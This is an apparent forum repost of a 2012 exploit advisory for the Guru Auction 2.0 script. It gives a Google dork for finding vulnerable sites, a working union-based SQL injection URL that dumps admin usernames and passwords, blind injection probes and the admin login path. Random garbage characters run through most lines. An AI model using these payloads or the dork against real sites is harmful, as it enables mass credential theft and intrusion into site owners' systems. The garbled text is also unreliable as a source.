Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
5 P& w3 F6 F8 s) \5 c. `% t4 B0 k& H$ o/ M7 ~
作者 : v3n0m' {$ v) S# B2 J) o* R
应用 : Guru Auction 2.0" g& k' e7 F; }& |, b+ p& Z
Price : $49
+ ?4 \" z7 u- X% n* U. y6 HVendor : http://www.guruscript.com/
9 m% {. L/ Z+ A& `1 H- hGoogle Dork : inurl:subcat.php?cate_id=
$ N1 L1 t. {; A7 |, U, {7 j
+ n) ^6 S3 S, A* z7 x% ~; X0 I/ q8 \+ GSQLi p0c:
# E i4 j+ _( j~~~~~~~~~~
" ~0 @7 R2 t9 P% T! w- j! S& h5 Phttp://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
3 F; K: e+ Q( @1 T* w5 J! ]
" c3 M% K1 ]9 e6 c0 S$ Q 1 z. y; v7 l7 [1 D
盲注 p0c:
# n2 F- E, J" E~~~~~~~~~~. \( O3 j4 r! Z& N
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true( v7 S3 ?8 }& g/ g( }" U* d# u3 F
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false6 e. ^; |% ?- j6 [
; t0 l/ d, B) o- g) R
管理登录入口:. h6 Y9 o# G! I+ [, P8 Z# o
~~~~~~~~~~6 |# B" ^- M7 \& U
http://domain.tld/[path]/admin/. D3 m! A9 }8 t" N3 u4 h: x$ z ]" E
|
发表于 2012-12-31 09:24:05
收藏
支持
反对